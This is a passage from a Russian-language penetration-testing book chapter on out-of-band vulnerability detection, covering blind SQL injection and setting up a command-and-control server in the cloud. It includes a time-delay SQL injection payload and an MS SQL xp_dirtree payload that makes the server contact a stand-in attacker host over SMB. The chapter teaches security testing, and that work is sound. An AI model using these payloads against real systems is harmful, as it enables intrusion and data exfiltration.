Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов

В предыдущей главе мы рассмотрели подтверждение наличия и эксплуатации уязвимостей, подверженных атакам, использующим внедрение файлов. Подтверждение было простым, поскольку сервер сразу показал, что приложение уязвимо. Что происходит, когда не все так ясно? Например, сервер уязвим, но не показывает никаких признаков в случае непредвиденного ввода? При проверке на наличие, скажем, уязвимости, связанной с SQL-инъекцией, злоумышленники обычно внедряют во ввод специально созданные значения и наблюдают за поведением приложения. Иногда, если им повезет, сервер возвращает ярко-красное сообщение об ошибке, указывающее на существование точки инъекции.

По мере усложнения приложений и фреймворков приложения для эксплуатации становятся более жесткими,и поведенческие подсказки,на которые мы привыклиполагатьсяприподтвержденииналичияуязвимости,уженетакочевидны. Современные приложения имеюттенденцию подавлять сообщения об ошибках по умолчанию и не всегда могут обрабатывать ввод синхронно. Если бы наша полезная нагрузка выполнялась пакетным заданием бэкенда каждые восемь часов, мы не увидели бы эффекта в HTTP-ответе и пропустили бы потенциально критическую уязвимость.

«Внеполосное»1 (out-of-band) обнаружение уязвимостей – это процесс, с помощью которого можно заставить приложение взаимодействовать с внешней службой, которую мы контролируем. Если приложение уязвимо для атаки с помощью SQL-инъекции,но при первоначальном сканировании не возникает мгновенных подсказок, можем передать ему вредоносный код, который обманет приложение, обмениваясь данными с нашим командно-контрольным

1Внеполосныеданные–логически независимый канал общения с приложением.В большинстве примеровизэтойипоследующихглавмывынуждаемприложениеотправитьданныенетолько

клиенту, запросившему их, но и на сервер, подконтрольный злоумышленнику.– Прим.перев.

полнен.

В этой главе рассмотрим следующие темы:

создание командно-контрольного сервера;использование INetSim для эмуляции служб;

подтверждение наличия уязвимостей с использованием «внеполосных» методов;

расширенная утечка данных.

Распространенный сценарий

Представим, что приложение http://vuln.app.internal/user.aspx?Name=Dade

уязвимо для атаки с помощью SQL-инъекции на параметре name. Традиционные полезные нагрузки и «полиглоты», похоже, не влияют на ответ приложения. Возможно, сообщения об ошибках базы данных отключены, и значение name не обрабатывается приложением синхронно.

Где-то на внутреннем сервере Microsoft SQL (MS SQL) выполняется следую­ щий запрос:

SELECT * FROM users WHERE user = 'Dade';

Простое использование одинарных кавычек для параметра name приведет к SQL-ошибке. Значит, нам повезло. Но в этом случае сообщения об ошибках подавляются, поэтому с точки зрения клиента мы бы не поняли, что что-то пошло нетак.Сделав еще шаг вперед,можно заставить приложение отложить ответ на значительный промежуток времени, чтобы подтвердить наличие уязвимости.

SELECT * FROM users WHERE user = 'Dade';WAITFOR DELAY '0:0:20' --';

Этаполезнаянагрузкавводит20-секунднуюзадержкуввозвращениезапро- са, что достаточно явно, чтобы поднять тревогу, но запрос выполняется асинхронно. То есть приложение отвечает нам до того, как запрос будет завершен, поскольку, вероятно, это не зависит от результата.

Именноздесьоказываетсяполезным использованиевнеполосныхсервисов при поиске скрытых уязвимостей. Вместо полезной нагрузки WAITFOR DELAY приведенный ниже код заставит сервер MS SQL подключаться к произвольному хосту, который мы контролируем, по протоколу Server Message Block

(SMB).

';declare @q varchar(99);set @q='\\attacker.c2\test'; exec master.dbo.xp_dirtree @q;--

Google Cloud иAmazonAWS обладаютуровнями,которые предоставляютвсе ресурсы виртуальных машин, нужные вам, бесплатно. Разумеется, в течение ограниченного времени. Однако те несколько долларов в месяц, которые требуются для запуска виртуальных машин в облаке, окупятся для тех из нас, кто использует командно-контрольный сервер.

Данные экземпляры также должны быть развернуты для каждого клиента,а диски–зашифрованы.Ввиду характера нашей работы конфиденциальные данные клиентов могут идти потоком и храниться небезопасно. После завершения задания уничтожьте виртуальную машину вместе с любыми данными клиента, которые могли быть собраны.

Когда виртуальная машина готова к работе,обычно ей присваивается динамический внешний IP-адрес. В некоторых случаях можно запросить статиче- скийIP-адрес,нообычноэтогонетребуется.ДинамическиевнешниеIP-адреса будут оставаться неизменными, пока виртуальная машина включена.

Рис.6.1. Экземпляр виртуальной машины c2.spider.ml запущен и работает в облаке Google

Запишите внешний IP-адрес, поскольку эта виртуальная машина должна быть авторитетным сервером имен (NS) для домена командно-контроль- ного сервера. Мы можем использовать любой домен или поддомен, если они контролируются­ .

В следующем примере уполномоченная зона spider.ml делегирует поддомен командно-контрольного сервера IP-адресу нашей виртуальной машины. Для NS необходима запись (ns1.spider.ml), поскольку напрямую выполнить делегирование нельзя.